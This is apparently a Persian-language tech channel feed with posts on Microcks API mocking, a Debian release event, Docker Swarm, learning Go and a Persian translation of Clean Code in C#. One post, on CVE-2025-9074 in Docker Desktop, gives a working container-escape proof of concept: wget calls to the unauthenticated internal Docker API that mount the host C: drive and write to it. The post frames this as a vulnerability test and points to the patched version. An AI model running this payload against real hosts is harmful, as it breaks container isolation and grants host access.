Byteforge / بایــت فورج 🛸

‏Microcks‏؛ شروع توسعه حتی بدون سرویس واقعی

فرض کن وسط یه پروژه‌ای ;که فرانتش آماده‌ست، بک‌اند هم نصفه‌نیمه کار میکنه. اما API که باید همه چیز رو بهم وصل کنه هنوز کامل نشده. اینجاست که معمولاً همه‌چی میخوابه… ولی نه وقتی Microcks رو داری. ‏Microcks‏ ‏به زبان ساده : ‏Microcks یه ابزار متن باز و ابرمحوره که کارش خیلی روشنه: ‏API رو شبیه‌سازی (Mock) میکنه. ‏API رو تست (Test) میکنه. یعنی حتی وقتی سرویس واقعی هنوز بالا نیست، میتونی با یه نسخه‌ی ساختگی اما واقعی‌ کار کنی. چرا باید بهش اهمیت بدیم؟ پشتیبانی از همه‌چی: OpenAPI، gRPC، GraphQL، SOAP، Postman Collection… هرچی داری، ساپورت میکنه. ساخت سریع Mock: کافیه مستندات API رو بدی، خودش ی سرویس شبیه‌سازی شده برات میسازه. تست قرارداد: میسنجه که پیاده‌سازی واقعی با قرارداد API یکی باشه. ‏CI/CD: راحت میره توی Jenkins یا GitHub Actions و تست‌ها رو خودکار میکنه. راه‌اندازی راحت: یه دستور Docker و آماده‌ست. یه مثال واقعی ازش داشته باشیم بهتره فرض کن مستندات API تو به برای OpenAPI این شکلیه:

openapi: 3.0.0
info:
  title: User API
  version: "1.0"
paths:
  /users:
    get:
      summary: Get all users
      responses:
        '200':
          description: A list of users
          content:
            application/json:
              example:
                - id: 1
                  name: "Ali"
                - id: 2
                  name: "Sara"
                - id: 3
                  name: "heman"

حالا این فایل رو به Microcks میدی. ‏Microcks به صورت خودکار یه سرویس Mock از /users درست میکنه. یعنی وقتی یه درخواست GET بزنی به /users، دقیقاً همین جواب رو میگیری:

[ { "id": 1, "name": "Ali" }, { "id": 2, "name": "Sara" } { "id": 3, "name": "heman" } ]

بدون اینکه بک‌اند واقعاً آماده باشه! راه‌اندازی سریع اگر Docker نصبه، کافیه اینو بزنی:

docker run -p 8585:8080 -it --rm quay.io/microcks/microcks-uber:latest-native

بعد توی مرورگر برو به:

http://localhost:8585

نتیجه ‌‏ ‏Microck‏ مثل یه ناجیه برای تیم‌های نرم‌افزاری.‏ به جای اینکه پروژه بخوابه چون API آماده نیست، با نسخه‌ی شبیه‌سازی شده ادامه میدی، تست می‌نویسی، حتی CI/CD رو جلو میبری. و وقتی سرویس واقعی آماده شد، فقط کافیه جایگزینش کنی. جمع کنم براتون و خلاصه شده: باید بگم این ابزار نمیزاره روند کند یا متوقف بشه

#api #tools #byteforge @byteforge_chan 🛸

واکنش زیرساخت به کسایی که تانل IPv6 زدن: سلام بهونه قشنگ من 🎀

گروه کاربران ایرانی دبیان قصد دارد به مناسبت انتشار نگارش ۱۳ سیستم‌عامل دبیان رویداد یک‌روزه‌ای شامل کنفرانس علمی، کارگاه‌های آموزشی و نمایشگاه برگزار کند. هدف از این رویداد که بهانه‌ای است برای گردهمایی و هم‌رسانی دانش و تجربه میان اعضای جامعه نرم‌افزار آزاد ایران، تقدیر از زحمات توسعه‌دهندگان دبیان و سایر نرم‌افزارهای آزاد، معرّفی و تبیین ویژگی‌ها و دستاوردهای نگارش جدید و ترویج فرهنگ آزادی نرم‌افزار است. این رویداد فرصتی را برای تبادل دانش و تجربه میان شرکت‌کنندگان و جذب مشارکت‌کنندگان جدید و تقویت جامعهٔ محلی نرم‌افزارهای آزاد فراهم می‌کند. از این رو از تمامی علاقه‌مندان به ارائه یا برگزاری کارگاه درخواست می‌شود عنوان ارائه‌های خود را به همراه توضیح به نشانی رایانامهٔ events روی debian.ir بفرستند.

https://github.com/hemansadeghi/glory-vscode-theme.git چن ماه پیش همینجوری ساختمش دوس داشتید یه تست بزنید

مطلبت خیلی خوب و خلاصه‌ست 👌 ولییییی یه نکته‌ای که جا افتاده اینه که Swarm دیگه عملاً توسط Docker به‌طور جدی توسعه داده نمیشه، و بیشتر در حالت maintenance mode قرار گرفته. همین باعث شده جامعه‌ی کاربری و اکوسیستمش خیلی محدود بشه. در مقایسه با Kubernetes، مواردی مثل auto-healing، HPA (Horizontal Pod Autoscaler)، شبکه‌سازی پیشرفته (CNI)، و اکوسیستم ابزارهایی مثل Helm و Operatorها توی Swarm وجود ندارن. مثال‌هایی که آوردی هم بیشتر دم‌دستی بودن. مثلاً برای یه نقد واقعی بهتر بود یه use-case عملی‌تر مثل دیپلوی یه اپ میکروسرویسی (frontend + backend + db) رو نشون بدی تا مقیاس‌پذیری و محدودیت‌های Swarm بهتر دیده بشه. همچنین بخش امنیت رو خوب پوشش دادی، اما از نظر observability (مانیتورینگ، لاگ‌گیری، tracing) چیزی گفته نشده، در حالی که توی پروژه‌های واقعی خیلی مهمه. ابزارهایی مثل Prometheus، ELK یا حتی Docker Swarm Visualizer معمولاً باید بهش اضافه بشن. خلاصه بگم: متن برای معرفی اولیه خیلی خوبه، ولی برای کسی که بخواد تصمیم فنی بگیره، لازمه ضعف‌ها و محدودیت‌های Swarm هم شفاف‌تر گفته بشه تا یک‌طرفه نباشه.

#docker #byteforge @byteforge_chan 🛸

حقیقتا من این کانفیگ رو پارسال تابستون گرفتم 33 تومن الان باشه احتمالا یه 60تایی پیاده بشم

Core i5 12500h 40 g ddr4 1T ssd nvme gen2 Gpu intel iris xe 8g share



با این وضعیت دلار، اگه سیستم دولوپرا خراب شه باید تغییر شغل بدن.

Looking for a book: Automating DevOps with GitLab CI/CD Pipelines: Build efficient CI/CD pipelines to verify, secure, and deploy your code using real-life examples

🐋 آسیب‌پذیری CVE-2025-9074 در Docker Desktop اخیرا از آسیب‌پذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را می‌دهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیب‌پذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی می‌توان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد. 💥 این آسیب‌پذیری چطور به وجود آمده است؟ در Docker Desktop نسخه‌های قبل از ۴.۴۴.۳، هر کانتینری می‌توانست به API Docker با آدرس http://192.168.65.7:2375 دسترسی داشته باشد بدون اینکه نیاز به احراز هویت برای استفاده از آن داشته باشد.. با استفاده از این دسترسی، مهاجم می‌تواند یک کانتینر جدید با دسترسی‌های ویژه راه‌اندازی کرده و در نهایت به فولدر C: در سیستم میزبان دسترسی پیدا کند. لازم به ذکر است که این آسیب پذیری در نسخه مک نیز قابل استفاده است و امکان دسترسی روت را برای مهاجم فراهم می‌کند. 💠 نمونه کد برای آزمایش آسیب‌پذیری ابتدا یک کانتینر Alpine بسازید.

docker run -it alpine /bin/sh

سپس با استفاده از پیلود زیر، آسیب‌پذیری را تست کنید.

wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /mnt/host_root/pwn.txt"],"HostConfig":{"Binds":["//c/host_root:/mnt/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json

cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

این پیلود با ارسال یک درخواست HTTP به آدرس زیر،

192.168.65.7:2375/containers/create

یک کانتینر جدید با دستور echo pwned > /mnt/host_root/pwn.txt می‌سازد و با استفاده از قابلیت Volume در Docker، مسیر C:/host_root را به mnt/host_root/ در داخل کانتینر مپ می‌کند. 📊 امتیاز CVSS این آسیب‌پذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار می‌گیرد:

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

✅ راه‌حل این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است. 🔗 https://nvd.nist.gov/vuln/detail/CVE-2025-9074 #DockerSecurity #CVE #DockerDesktop @Xero_Notes

اگر از Docker Desktop استفاده می‌کنید حتما باید آپدیتش کنید؛ یک vulnerability سطح بالا توی نحوه پیاده‌سازی داره (آپدیت آخر مشکل رو حل کرده) https://nvd.nist.gov/vuln/detail/CVE-2025-9074 این مورد باعث میشه با ۲ خط کد بشه تمام موارد امنیتی رو دور زد و به سیستم عامل اصلی دسترسی گرفت. توی گزارش اصلی فقط ویندوز گفته شده (نمی‌دونم مک هم داره یا نه)

مثله همیشه حمید عزیز ی حرکت خفن زده ی سر به ریپو بزنید ❤️👌

📕 Clean Code in C# یک خبر عالی! 🥳 ترجمه فارسی کامل کتاب #Clean Code in C نوشته Jason Alls به‌صورت رسمی آماده شد! این کتاب یکی از منابع فوق‌العاده برای یادگیری اصول کدنویسی تمیز، Refactoring و ارتقای کیفیت نرم‌افزار در #C به‌حساب میاد. همراهی و نظرات انگیزشی شما کلی انرژی و دلگرمی به این پروژه می‌ده. ممنون از حمایتتون! ❤️ https://github.com/hheydarian/clean-code-in-csharp-persian

رفقای دواپسی گلم 🙋‍♂ میدونم که بیشترتون با پایتون راحتید ولی بلد بودن Go واقعا حالت یه فیچر با ارزش افزوده برای یه پروداکت رو داره برای شخص شما 👌 به جمله بندی منم گیر ندین برید گو یاد بگیرید مخصوصا بچه هایی که شاید وارد شرکت های cloud native بشن در آینده

برای یادگیری زبان گو، اگه قبلا برنامه نویسی با زبان دیگه کردی حتما لازم نیست که بشینی ویدیو یا کتاب بخونی این کارتو راه می‌ندازه توی هر دارکتوریش/فولدرش چند تا مثال از بخش های مختلف گو رو زده، کداش رو دونه دونه بردارید روی سیستم خودتون ران کنید هرجا چیز جدید دیدید برید اونو سرچ کنید یاد بگیرید github.com/inancgumus/learngo @Linuxor